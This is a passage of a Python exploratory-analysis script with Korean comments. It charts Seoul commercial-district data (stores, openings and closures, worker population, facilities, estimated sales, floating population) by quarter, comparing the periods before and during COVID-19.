hspace=0.5)\nfig.suptitle('분기별 아파트 평균시가(억)와 단지수', fontsize=20)\nplt.show()\n\n# EDA PART 4 : 점포\n'''\n***** 2019Q1부터 데이터 존재.\n***** 중요한 데이터. 하지만 예)한식음식점이 증가하는것이 유동인구 혹은 골목상권에 어떠한 영향이 있을까?\n질문 1 : 분기별 점포수는 코로나 이후 얼마 줄었을까? 폐업과 같이 확인\n그래프 1 [2019-2021 분기별 점포수] : 코로나시기에 증가하는 점포수. 하지만 2020Q1이후로 줄어드는 트렌드. \n\n질문 2 : 상위 15 점포의 변화는 어떨까 ?\n그래프 2 & 3 [상위15 서비스업종별 점포 & 프랜차이즈 수] [서비스업종별 상위15 점포 & 프랜차이즈 수] :\n첫벗째, 점포수 & 프랜차이즈 점포수는 크게 눈에띄게 하락하지 않았다.\n두번째, 눈에 띄지않지만 줄어드는 개업점포수와 2020Q2 이후 증가하는 폐업수. 코로나의 영향이라 할수 있을만함 움직임. \n세번째, 코로나 기간인 2020Q1 상위 15 서비스업종에서 보이는 폐업수\n\n질문 3 : y-axis의 차이로 질문2에 대한 답변이 여러운관계로 %Change.\n그래프 4 & 5 [점포수 기준 상위 15 서비스업종 폐업점포 수 (%Change)]:\n-전자상거래업 12퍼센트 상승\n-일반교습학원 10퍼센트상승\n-호프간이주점 7퍼센트 상승\n-분식전문저 5퍼센트 하락\n'''\n점포['분기_코드'] = 점포['기준_년_코드'].astype(str) + 'Q' + 점포['기준_분기_코드'].astype(str)\n\n# 분기별 점포수\neda_분기별_점포 = 점포.groupby(['기준_년_코드','기준_분기_코드','분기_코드']).agg(\n    점포_수=('점포_수', 'sum'),\n    개업_점포_수=('개업_점포_수', 'sum'),\n    폐업_점포_수=('폐업_점포_수', 'sum'),\n    프랜차이즈_점포_수=('프랜차이즈_점포_수', 'sum')\n).reset_index()\n\n# 그래프 1\nfig = plt.figure()\ngs = gridspec.GridSpec(2, 2)\nax1 = fig.add_subplot(gs[0, 0])\nax2 = fig.add_subplot(gs[0, 1])\nax3 = fig.add_subplot(gs[1, :])\n\nax1.plot(eda_분기별_점포['분기_코드'], eda_분기별_점포['점포_수'], label='점포_수')\nax1.set_title(\"분기별 점포 수\", fontsize=12)\nax1.set_xlabel('분기')\nax1.set_ylabel('점포수')\nax1.grid(which='major', linestyle='--', linewidth=0.5)\nax1.grid(which='minor', linestyle=':', linewidth=0.5)\n\nax2.plot(eda_분기별_점포['분기_코드'], eda_분기별_점포['프랜차이즈_점포_수'], label='프랜차이즈_점포_수')\nax2.set_title(\"분기별 프랜차이즈_점포 수\", fontsize=12)\nax2.set_xlabel('분기')\nax2.set_ylabel('점포수')\nax2.grid(which='major', linestyle='--', linewidth=0.5)\nax2.grid(which='minor', linestyle=':', linewidth=0.5)\n\nax3.plot(eda_분기별_점포['분기_코드'], eda_분기별_점포['개업_점포_수'], label='개업_점포_수', color='teal')\nax3.plot(eda_분기별_점포['분기_코드'], eda_분기별_점포['폐업_점포_수'], label='폐업_점포_수', color='orange')\nax3.set_title(\"분기별 개업&폐업 수\", fontsize=12)\nax3.set_xlabel('분기')\nax3.set_ylabel('점포수')\nax3.grid(which='major', linestyle='--', linewidth=0.5)\nax3.grid(which='minor', linestyle=':', linewidth=0.5)\n\nplt.setp(ax1.get_xticklabels(), rotation=45)\nplt.setp(ax2.get_xticklabels(), rotation=45)\nfig.subplots_adjust(wspace=0.1, hspace=0.4)\nfig.suptitle('2019-2021 분기별 점포수', fontsize=20)\nax3.legend()\nplt.show()\n\n# 업종별 점포수\neda_업종별_점포 = 점포.groupby(['기준_년_코드','기준_분기_코드','분기_코드','서비스_업종_코드_명']).agg(\n    점포_수=('점포_수', 'sum'),\n    개업_점포_수=('개업_점포_수', 'sum'),\n    폐업_점포_수=('폐업_점포_수', 'sum'),\n    프랜차이즈_점포_수=('프랜차이즈_점포_수', 'sum')\n).reset_index()\n\neda_점포수 = pd.pivot_table(eda_업종별_점포, values = ['점포_수'], index=['서비스_업종_코드_명']).reset_index()\neda_점포수 = eda_점포수.sort_values(by='점포_수', ascending=False).head(15)\neda_점포수 = eda_점포수['서비스_업종_코드_명']\n\neda_업종별_점포 = pd.pivot_table(eda_업종별_점포, values = ['점포_수','개업_점포_수','폐업_점포_수','프랜차이즈_점포_수'], index=['서비스_업종_코드_명', '분기_코드']).reset_index()\neda_업종별_점포 = eda_업종별_점포[eda_업종별_점포['서비스_업종_코드_명'].isin(eda_점포수)]\neda_업종별_점포['점포_수_pchange'] = eda_업종별_점포.groupby('서비스_업종_코드_명', sort=False)['점포_수'].apply(lambda x: x.pct_change()).to_numpy()\neda_업종별_점포['개업_점포_수_pchange'] = eda_업종별_점포.groupby('서비스_업종_코드_명', sort=False)['개업_점포_수'].apply(lambda x: x.pct_change()).to_numpy()\neda_업종별_점포['폐업_점포_수_pchange'] = eda_업종별_점포.groupby('서비스_업종_코드_명', sort=False)['폐업_점포_수'].apply(lambda x: x.pct_change()).to_numpy()\neda_업종별_점포['프랜차이즈_점포_수_pchange'] = eda_업종별_점포.groupby('서비스_업종_코드_명', sort=False)['프랜차이즈_점포_수'].apply(lambda x: x.pct_change()).to_numpy()\n\n# 그래프 2 : 점포수 기준 상위15 서비스업종별 점포 & 프랜차이즈 수\nfig, (ax1, ax2) = plt.subplots(2,1)\nax1.set_title(\"점포수 기준 상위 15 서비스업종 점포 수\", fontsize=15)\nax1.set_xlabel('분기')\nfor label, grp in eda_업종별_점포.groupby('서비스_업종_코드_명'):\n    grp.plot(x = '분기_코드', y = '점포_수',ax = ax1, label = label, linestyle='-', marker='o')\nax.legend(loc=\"upper right\", fontsize=7)\nfor label, grp in eda_업종별_점포.groupby('서비스_업종_코드_명'):\n    grp.plot(x = '분기_코드', y = '프랜차이즈_점포_수',ax = ax2, label = label, linestyle='-', marker='o')\nax1.legend(fontsize=7, loc=\"upper right\")\nax2.legend(fontsize=7, loc=\"upper right\")\nfig.subplots_adjust(wspace=0.1, hspace=0.4)\nfig.suptitle('점포수 기준 상위15 서비스업종별 점포 & 프랜차이즈 수', fontsize=20)\n\n# 그래프 3 : 점포수 기준 서비스업종별 상위15 점포 & 프랜차이즈 수\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.set_title(\"점포수 기준 상위15 점포 개업점포 수\", fontsize=15)\nax1.set_xlabel('분기')\nfor label, grp in eda_업종별_점포.groupby('서비스_업종_코드_명'):\n    grp.plot(x = '분기_코드', y = '개업_점포_수',ax = ax1, label = label, linestyle='-', marker='o')\nax2.set_title(\"점포수 기준 상위15 점포 폐업 수\", fontsize=15)\nax2.set_xlabel('분기')\nfor label, grp in eda_업종별_점포.groupby('서비스_업종_코드_명'):\n    grp.plot(x = '분기_코드', y = '폐업_점포_수',ax = ax2, label = label, linestyle='-', marker='o')\nax1.legend(fontsize=7, loc=\"upper right\")\nax2.legend(fontsize=7, loc=\"upper right\")\nfig.subplots_adjust(wspace=0.1, hspace=0.4)\nfig.suptitle('점포수 기준 서비스업종별 상위15 점포 & 프랜차이즈 수', fontsize=20)\n\n# 그래프 4 : 점포수 기준 상위 15 서비스업종 점포수 (%Change)\nfig, ax = plt.subplots()\nax.set_title(\"점포수 기준 상위 15 서비스업종 점포수 (%Change)\", fontsize=15)\nax.set_xlabel('% Change')\nfor label, grp in eda_업종별_점포.groupby('서비스_업종_코드_명'):\n    grp.plot(x = '분기_코드', y = '점포_수_pchange',ax = ax, label = label, linestyle='-', marker='o')\nax.legend(loc=\"upper right\", fontsize=7)\n\n# 그래프 5 : 점포수 기준 상위 15 서비스업종 폐업점포 수 (%Change)\nfig, ax = plt.subplots()\nax.set_title(\"점포수 기준 상위 15 서비스업종 폐업점포 수 (%Change)\", fontsize=15)\nax.set_xlabel('% Change')\nfor label, grp in eda_업종별_점포.groupby('서비스_업종_코드_명'):\n    grp.plot(x = '분기_코드', y = '폐업_점포_수_pchange',ax = ax, label = label, linestyle='-', marker='o')\nax.legend(loc=\"upper right\", fontsize=7)\n\n\n# EDA PART 5 : 직장인구\n'''\n*** 2019Q4 이후의 데이터는 업데이되있지 않다.\n질문1 : 골목상권의 직장인구는 늘어나는가? 줄어드는가 ?\n그래프 1 [분기별 직장인구(만명)] : 2019Q4 이후의 데이터는 업데이트 되어있지 않다. 즉 코로나 시기에 데이터 변화를 분석이 불가능하다.\n하지만 분기별 소득&지출 금액과 비슷한���기 (2018Q4)인 2019Q1에 급격하게 직장인구가 줄어들었다. \n질문2 : 코로나 시기의 직장인구는 어떻게 되었는가?\n그래프 2 [2020년 분기별 직장인구(만명)] : 동일하게 2019Q4 이후의 데이터가 업데이트 되어있지 않으므로 파악이 불가능하다.\n질문3 : 분기별 상권의 직장인구의 분기별 변화는? 상주인구와의 비교는 어떻게 되는가.\n그래프 3 [분기별 직장인구와 상주&거주인구(만명)] : 별다른 연관관계는 찾기 힘들다\n질문4 : 상위 10 상권의 직장인구의 분기별 변화는? 상주인구와의 비교는 \n그래프 4 [상권별 직장 & 상주인구(명)] : 눈에띄는 연관성이나 기울기는 확인할수 없음.\n'''\n직장인구['분기_코드'] = 직장인구['기준_년_코드'].astype(str) + 'Q' + 직장인구['기준_분기_코드'].astype(str)\neda_분기별_직장인구 = 직장인구.groupby(['기준_년_코드','기준_분기_코드','분기_코드']).agg(\n    총_직장_인구_수=('총_직장_인구_수', 'sum'),\n    남성_직장_인구_수=('남성_직장_인구_수', 'sum'),\n    여성_직장_인구_수=('여성_직장_인구_수', 'sum'),\n).reset_index()\n\neda_분기별_직장인구['총_직장_인구_수'] = eda_분기별_직장인구['총_직장_인구_수']/10000\neda_분기별_직장인구['남성_직장_인구_수'] = eda_분기별_직장인구['남성_직장_인구_수']/10000\neda_분기별_직장인구['여성_직장_인구_수'] = eda_분기별_직장인구['여성_직장_인구_수']/10000\neda_2020_직장인구 = eda_분기별_직장인구[eda_분기별_직장인구['분기_코드'].isin(plot_range)]\n\n# 직장인구 그래프 1\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.plot(eda_분기별_직장인구['분기_코드'], eda_분기별_직장인구['총_직장_인구_수'])\nax1.set_title(\"분기별 직장인구(만명)\", fontsize=15)\nax1.set_ylabel('직장인구(만명)')\nax1.grid(linewidth=0.3)\nax1.axvline(x='2020Q1', color='darkred', linestyle='--')\nax2.plot(eda_분기별_직장인구['분기_코드'], eda_분기별_직장인구['남성_직장_인구_수'], label='남성 직장인구')\nax2.plot(eda_분기별_직장인구['분기_코드'], eda_분기별_직장인구['여성_직장_인구_수'], label='여성 직장인구')\nax2.set_title(\"분기별 남성&여성 인구수 (만명)\", fontsize=15)\nax2.set_ylabel('직장인구(만명)')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.setp(ax1.get_xticklabels(), rotation=45)\nplt.setp(ax2.get_xticklabels(), rotation=45)\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nfig.suptitle('분기별 직장인구(만명)', fontsize=20)\nplt.legend(loc=\"upper right\")\nplt.show()\n\n# 직장인구 그래프 2\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.plot(eda_2020_직장인구['분기_코드'], eda_2020_직장인구['총_직장_인구_수'])\nax1.set_title(\"2020년 분기별 직장인구(만명)\", fontsize=15)\nax1.set_ylabel('직장인구(만명)')\nax1.grid(linewidth=0.3)\nax1.axvline(x='2020Q1', color='darkred', linestyle='--')\nax2.plot(eda_2020_직장인구['분기_코드'], eda_2020_직장인구['남성_직장_인구_수'], label='남성 직장인구')\nax2.plot(eda_2020_직장인구['분기_코드'], eda_2020_직장인구['여성_직장_인구_수'], label='여성 직장인구')\nax2.set_title(\"2020년 분기별 남성&여성 인구수 (만명)\", fontsize=15)\nax2.set_ylabel('직장인구(만명)')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.setp(ax1.get_xticklabels(), rotation=45)\nplt.setp(ax2.get_xticklabels(), rotation=45)\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nfig.suptitle('2020년 분기별 직장인구(만명)', fontsize=20)\nplt.legend(loc=\"upper right\")\nplt.show()\n\n# 직장인구 & 상주인구 그래프 3\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.plot(eda_분기별_직장인구['분기_코드'], eda_분기별_직장인구['총_직장_인구_수'])\nax1.set_title(\"분기별 직장인구(만명)\", fontsize=15)\nax1.set_ylabel('직장인구(만명)')\nax1.grid(linewidth=0.3)\nax1.axvline(x='2020Q1', color='darkred', linestyle='--')\nax2.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_상주인구['총_상주인구_수']*100, label='총_상주인구_수')\nax2.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_상주인구['총_가구_수']*100, label='총_가구_수')\nax2.legend(loc=\"upper right\")\nax2.set_title(\"분기별 총 상주인구와 가구수(만명)\", fontsize=18)\nax2.set_ylabel('인구(만명)')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.setp(ax1.get_xticklabels(), rotation=45)\nplt.setp(ax2.get_xticklabels(), rotation=45)\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nfig.suptitle('분기별 직장인구와 상주&거주인구(만명)', fontsize=20)\nplt.legend(loc=\"upper right\")\nplt.show()\n\n# 상위10 직장인구 & 상주인구 그래프 4\neda_직장인구 = 직장인구.groupby(['상권_코드_명']).agg(총_직장_인구_수=('총_직장_인구_수', 'sum')).reset_index()\neda_직장인구 = eda_직장인구.sort_values(by='총_직장_인구_수', ascending=False).head(10)\neda_직장인구 = eda_직장인구['상권_코드_명']\neda_상권별_직장인구 = 직장인구[직장인구['상권_코드_명'].isin(eda_직장인구)]\neda_상권별_직장인구 = eda_상권별_직장인구.groupby(['기준_년_코드','기준_분기_코드','분기_코드','상권_코드_명']).agg(\n    총_직장_인구_수=('총_직장_인구_수', 'sum'),\n    남성_직장_인구_수=('남성_직장_인구_수', 'sum'),\n    여성_직장_인구_수=('여성_직장_인구_수', 'sum'),\n).reset_index()\n\nfig, (ax1, ax2) = plt.subplots(2,1)\nax1.set_title(\"총직장인구 기준 상위10 상권별 직장인구(명)\", fontsize=15)\nax1.set_xlabel('분기')\nfor label, grp in eda_상권별_직장인구.groupby('상권_코드_명'):\n    grp.plot(x = '분기_코드', y = '총_직장_인구_수',ax = ax1, label = label, linestyle='-', marker='o')\nax2.set_title(\"총직장인구 기준 상위10 상권별 상주인구(명)\", fontsize=15)\nax2.set_xlabel('분기')\nfor label, grp in eda_상권별_상주인구.groupby('상권_코드_명'):\n    grp.plot(x = '분기_코드', y = '총_상주인구_수',ax = ax2, label = label, linestyle='-', marker='o')\nax1.legend(fontsize=7, loc=\"upper right\")\nax2.legend(fontsize=7, loc=\"upper right\")\nfig.subplots_adjust(wspace=0.1, hspace=0.4)\nfig.suptitle('총직장인구 기준 상권별 직장 & 상주인구(명)', fontsize=20)\n\n# EDA PART 6 : 집객시설\n'''\n*** 모든 데이터를 이용할수 있을것 같다고 생각했지만 2018Q1 이후의 데이터는 전혀 변화가 없다.\n*** 집객시설의 데이터는 이용할수 없다. 하지만 2017Q4 이후의 대학교의 급격한 상승은 데이터 신뢰성에 의심이 간다.\n\n질문1 : 분기별 각 집객시설은 어떻게 변화 하였는가.\n그래프 1 [분기별 집객시설 모음] : 2018Q1 이후의 변화가 없으므로 특별한 분석이 불가능 \n\n질문2 : 분기별 집객시설 수에는 어떻게 변화 하였는가.\n그래프 2 [분기별 전체 집객시설 수] : 2018Q1 이후의 변화가 없는것은 동일하나 2017Q4이후로 가파른 상승을 한 집객시설수.\n가파른 집객시설의 이유는 대학교의 수가 약 1300개 한분기 사이만에 증가한 이유. 데이터 신뢰에 의문. \n'''\n집객시설['분기_코드'] = 집객시설['기준_년_코드'].astype(str) + 'Q' + 집객시설['기준_분기_코드'].astype(str)\neda_분기별_집객시설 = 집객시설.groupby(['기준_년_코드','기준_분기_코드','분기_코드']).agg(\n    집객시설_수=('집객시설_수', 'sum'), 관공서_수=('관공서_수', 'sum'), 은행_수=('은행_수', 'sum'),\n    종합병원_수=('종합병원_수', 'sum'), 일반_병원_수=('일반_병원_수', 'sum'), 약국_수=('약국_수', 'sum'),\n    유치원_수=('유치원_수', 'sum'), 초등학교_수=('초등학교_수', 'sum'), 중학교_수=('중학교_수', 'sum'),\n    고등학교_수=('고등학교_수', 'sum'), 대학교_수=('대학교_수', 'sum'), 백화점_수=('백화점_수', 'sum'),\n    슈퍼마켓_수=('슈퍼마켓_수', 'sum'), 극장_수=('극장_수', 'sum'), 숙박_시설_수=('숙박_시설_수', 'sum'),\n    공항_수=('공항_수', 'sum'), 철도_역_수=('철도_역_수', 'sum'), 버스_터미널_수=('버스_터미널_수', 'sum'),\n    지하철_역_수=('지하철_역_수', 'sum'), 버스_정거장_수=('버스_정거장_수', 'sum')\n).reset_index()\neda_분기별_집객시설['집객시설_합계'] = eda_분기별_집객시설.iloc[:,4:].sum(axis=1)\n\n# 그래프 1 : 분기별 집객시설 모음\nfig, ax = plt.subplots()\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['관공서_수'], label='관공서_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['은행_수'], label='은행_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['종합병원_수'], label='종합병원_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['일반_병원_수'], label='일반_병원_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['약국_수'], label='약국_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['유치원_수'], label='유치원_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['초등학교_수'], label='초등학교_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['중학교_수'], label='중학교_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['고등학교_수'], label='고등학교_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['대학교_수'], label='대학교_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['백화점_수'], label='백화점_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['슈퍼마켓_수'], label='슈퍼마켓_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['극장_수'], label='극장_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['숙박_시설_수'], label='숙박_시설_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['공항_수'], label='공항_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['철도_역_수'], label='철도_역_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['버스_터미널_수'], label='버스_터미널_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['지하철_역_수'], label='지하철_역_수')\nax.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['버스_정거장_수'], label='버스_정거장_수')\nax.set_title(\"분기별 집객시설 모음\", fontsize=20)\nax.set_xlabel('분기')\nax.set_ylabel('수')\nax.grid(linewidth=0.3)\nplt.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.text('2019Q4',1,'COVID19',rotation=90, color='darkred')\nplt.xticks(rotation=45)\nplt.legend(loc=\"upper right\")\nplt.show()\n\n# 그래프 2 : 분기별 전체 집객시설 수(만)\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['집객시설_수']/10000, label='집객시설_수')\nax1.set_title(\"분기별 집객시설 수(만)\", fontsize=20)\nax1.set_xlabel('분기')\nax1.set_ylabel('수(만)')\nax1.grid(linewidth=0.3)\nax1.axvline(x='2020Q1', color='darkred', linestyle='--')\nax2.plot(eda_분기별_집객시설['분기_코드'], eda_분기별_집객시설['집객시설_합계']/10000, label='집객시설_합계')\nax2.set_title(\"분기별 모든 집객시설 합계(만)\", fontsize=20)\nax2.set_xlabel('분기')\nax2.set_ylabel('수(만)')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nplt.setp(ax1.get_xticklabels(), rotation=45)\nplt.setp(ax2.get_xticklabels(), rotation=45)\nplt.show()\n\n# EDA PART 7 : 추정매출\n'''\n질문 1 : 분기별 매출은 줄어들었을까 ? 남성매출건수, 여성매출건수로 보면은 차이가 있을까?\n그래프 1 [분기당 매출금액(10억)과 남성&여성 매출건수(1만)] : 분기별 매출은 코로나시기에 줄어들었으나, 2019년과 비교하여서 \n상대적으로 높은 매출의 그래프. 남성 & 여성 매출건수는 분기별 매출과 매우 비슷한 그래프 형태를 띄고 있음. \n \n질문 2 : 분기별 매출금액과 점포수는 동일하게 움직일까 ? \n그래프 2 [분기별 매출금액(10억)과 점포수] : 코로나시기에 줄어든 매출금액과 반대로 점포수는 반대로 증가하였음을 보여준다.\n \n질문 3 : 상하위 서비스업종별 매출의 분기별 차이는 ? 2019년 매출이 2020년 매출보다 높은이유를 설명하기 위한 차트로 충분한가?  \n그래프 3 [2020-2019년 매출차액 상,하위 10개 서비스업종별 매출금액] : 의료품의 상승세와 가장많은 점포수를 가지고 있는 한식점의 하락은\n코로나시기에도 불구하고 2020년의 매출이 2019년보다 높은 이유를 설명해준다. \n'''\n추정매출['분기_코드'] = 추정매출['기준_년_코드'].astype(str) + 'Q' + 추정매출['기준_분기_코드'].astype(str)\neda_분기별_추정매출 = 추정매출.groupby(['기준_년_코드','기준_분기_코드','분기_코드']).agg(\n    분기당_매출_금액=('분기당_매출_금액', 'sum'),\n    분기당_매출_건수=('분기당_매출_건수', 'sum'),\n    점포수=('점포수', 'sum'),\n    남성_매출_건수=('남성_매출_건수', 'sum'),\n    여성_매출_건수=('여성_매출_건수', 'sum'),\n).reset_index()\n\n# 그래프 1 : 분기당 매출금액(10억)과 남성&여성 매출건수(1만)\nfig, ax = plt.subplots()\nax.plot(eda_분기별_추정매출['분기_코드'], eda_분기별_추정매출['분기당_매출_금액']/1000000000, label='분기당_매출_금액(10억)')\nax.plot(eda_분기별_추정매출['분기_코드'], eda_분기별_추정매출['남성_매출_건수']/10000, label='남성_매출_건수(1만)')\nax.plot(eda_분기별_추정매출['분기_코드'], eda_분기별_추정매출['여성_매출_건수']/10000, label='여성_매출_건수(1만)')\nax.set_title(\"분기당 매출금액(10억)과 남성&여성 매출건수(1만)\", fontsize=20)\nax.set_xlabel('분기')\nax.set_ylabel('매출금액(10억),매출건수(1만)')\nax.grid(linewidth=0.3)\nplt.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.text('2019Q4',1,'COVID19',rotation=90, color='darkred')\nplt.xticks(rotation=45)\nplt.legend(loc=\"upper right\")\nplt.show()\n\n# 그래프 2 : 분기당 매출금액(10억)과 점포수\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.plot(eda_분기별_추정매출['분기_코드'], eda_분기별_추정매출['분기당_매출_금액']/1000000000, label='분기당_매출_금액(10억)')\nax1.set_title(\"분기별 매출금액(10억)\", fontsize=15)\nax1.set_ylabel('매출금액(10억)')\nax1.grid(linewidth=0.3)\nax1.axvline(x='2020Q1', color='darkred', linestyle='--')\nax2.plot(eda_분기별_추정매출['분기_코드'], eda_분기별_추정매출['점포수'], label='점포수', color='orange')\nax2.set_title(\"분기별 점포수\", fontsize=18)\nax2.set_ylabel('점포수')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.setp(ax1.get_xticklabels(), rotation=45)\nplt.setp(ax2.get_xticklabels(), rotation=45)\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nfig.suptitle('분기별 매출금액(10억)과 점포수', fontsize=20)\nplt.show()\n\n# 그래프 3 : 2020-2019년 매출차액 상,하위 10개 서비스업종별 매출금액\neda_추정매출 = pd.pivot_table(추정매출, values = ['분기당_매출_금액'], index=['서비스_업종_코드_명'], columns=['기준_년_코드'], aggfunc=sum).reset_index()\neda_추정매출 = eda_추정매출.droplevel(0,axis=1).reset_index().rename_axis(columns=None)\neda_추정매출 = eda_추정매출.rename(columns={'': '서비스_업종_코드_명'})\neda_추정매출['차액'] = eda_추정매출[2020] - eda_추정매출[2019]\nedatop_추정매출 = eda_추정매출.sort_values(by='차액', ascending=False).head(10)\nedabtm_추정매출 = eda_추정매출.sort_values(by='차액', ascending=False).tail(10)\n\nedatop_상권별_추정매출 = 추정매출[추정매출['서비스_업종_코드_명'].isin(edatop_추정매출['서비스_업종_코드_명'])]\nedabtm_상권별_상주인구 = 추정매출[추정매출['서비스_업종_코드_명'].isin(edabtm_추정매출['서비스_업종_코드_명'])]\n\nedatop_상권별_추정매출 = edatop_상권별_추정매출.groupby(['기준_년_코드','기준_분기_코드','분기_코드', '서비스_업종_코드_명']).agg(\n    분기당_매출_금액=('분기당_매출_금액', 'sum'),\n    분기당_매출_건수=('분기당_매출_건수', 'sum'),\n    점포수=('점포수', 'sum'),\n    남성_매출_건수=('남성_매출_건수', 'sum'),\n    여성_매출_건수=('여성_매출_건수', 'sum'),\n).reset_index()\n\nedabtm_상권별_추정매출 = edabtm_상권별_상주인구.groupby(['기준_년_코드','기준_분기_코드','분기_코드','서비스_업종_코드_명']).agg(\n    분기당_매출_금액=('분기당_매출_금액', 'sum'),\n    분기당_매출_건수=('분기당_매출_건수', 'sum'),\n    점포수=('점포수', 'sum'),\n    남성_매출_건수=('남성_매출_건수', 'sum'),\n    여성_매출_건수=('여성_매출_건수', 'sum'),\n).reset_index()\n\nedatop_상권별_추정매출['분기당_매출_금액'] = edatop_상권별_추정매출['분기당_매출_금액']/1000000000\nedabtm_상권별_추정매출['분기당_매출_금액'] = edabtm_상권별_추정매출['분기당_매출_금액']/1000000000\n\nfig, (ax1, ax2) = plt.subplots(2,1)\nax1.set_title(\"2020-2019년 매출차액 상위 10개 서비스업종별 매출금액(10억)\", fontsize=15)\nax1.set_xlabel('분기')\nfor label, grp in edatop_상권별_추정매출.groupby('서비스_업종_코드_명'):\n    grp.plot(x = '분기_코드', y = '분기당_매출_금액', ax = ax1, label = label, linestyle='-', marker='o')\nax2.set_title(\"2020-2019년 매출차액 하위 10개 서비스업종별 매출금액(10억)\", fontsize=15)\nax2.set_xlabel('분기')\nfor label, grp in edabtm_상권별_추정매출.groupby('서비스_업종_코드_명'):\n    grp.plot(x = '분기_코드', y = '분기당_매출_금액', ax = ax2, label = label, linestyle='-', marker='o')\nax1.legend(fontsize=7, loc=\"upper right\")\nax2.legend(fontsize=7, loc=\"upper right\")\nfig.subplots_adjust(wspace=0.1, hspace=0.4)\nfig.suptitle('2020-2019년 매출차액 상,하위 10개 서비스업종별 매출금액(10억)', fontsize=20)\n\n# EDA PART 8 : 생활인구\n'''\n질문1 : 분기별 총생활인구\n그래프 1 : 2018Q4이후 급격한 생활인구 상승. 코로나 이후 하향.\n\n질문2 & 질문3 : 각 지역 분기별/연령대별/요일별 생활인구수\n설명 : 상권코드의 숫자를 없앤후, '로' 앞에 위치한 지역이름을 동일지역으로 구분하고 그룹화.\n그래프2 & 그래프3 : 분기별 총생활인구와 동일하게 2018Q4이후 상,하 모든지역 동일하게 상승.\n코로나 이후 특정지역은 생활인구가 증가함. \n \n'''\n생활인구['분기_코드'] = 생활인구['기준_년_코드'].astype(str) + 'Q' + 생활인구['기준_분기_코드'].astype(str)\n생활인구['상권_병합'] = 생활인구['상권_코드_명'].str.replace('\\d+', '')\n생활인구['상권_병합'] = 생활인구['상권_병합'].str.rsplit('로', 1).str[0]\n\neda_분기별_생활인구 = 생활인구.groupby(['기준_년_코드','기준_분기_코드','분기_코드']).agg(\n    총_생활인구_수=('���_생활인구_수', 'sum')\n).reset_index()\n\neda_분기별_평균생활인구 = 생활인구.groupby(['기준_년_코드','기준_분기_코드','분기_코드']).agg(\n    평균_생활인구=('총_생활인구_수', 'mean')\n).reset_index()\n\neda_상권병합_생활인구 = 생활인구.groupby(['기준_년_코드','기준_분기_코드','분기_코드', '상권_병합']).agg(\n    총_생활인구_수=('총_생활인구_수', 'sum'), 연령대_10_생활인구_수=('연령대_10_생활인구_수', 'sum'),\n    연령대_20_생활인구_수=('연령대_20_생활인구_수', 'sum'), 연령대_30_생활인구_수=('연령대_30_생활인구_수', 'sum'),\n    연령대_40_생활인구_수=('연령대_40_생활인구_수', 'sum'), 연령대_50_생활인구_수=('연령대_50_생활인구_수', 'sum'),\n    연령대_60_이상_생활인구_수=('연령대_60_이상_생활인구_수', 'sum'), 월요일_생활인구_수=('월요일_생활인구_수', 'sum'),\n    화요일_생활인구_수=('화요일_생활인구_수', 'sum'), 수요일_생활인구_수=('수요일_생활인구_수', 'sum'),\n    목요일_생활인구_수=('목요일_생활인구_수', 'sum'), 금요일_생활인구_수=('금요일_생활인구_수', 'sum'),\n    토요일_생활인구_수=('토요일_생활인구_수', 'sum'), 일요일_생활인구_수=('일요일_생활인구_수', 'sum'),\n).reset_index()\n\neda_생활인구 = eda_상권병합_생활인구.groupby(['상권_병합']).agg(총_생활인구_수=('총_생활인구_수', 'sum')).reset_index()\nedatop_상권병합_생활인구 = eda_생활인구.sort_values(by='총_생활인구_수', ascending=False).head(10)\nedabtm_상권병합_생활인구 = eda_생활인구.sort_values(by='총_생활인구_수', ascending=False).tail(10)\nedatop_상권병합_생활인구 = eda_상권병합_생활인구[eda_상권병합_생활인구['상권_병합'].isin(edatop_상권병합_생활인구['상권_병합'])]\nedabtm_상권병합_생활인구 = 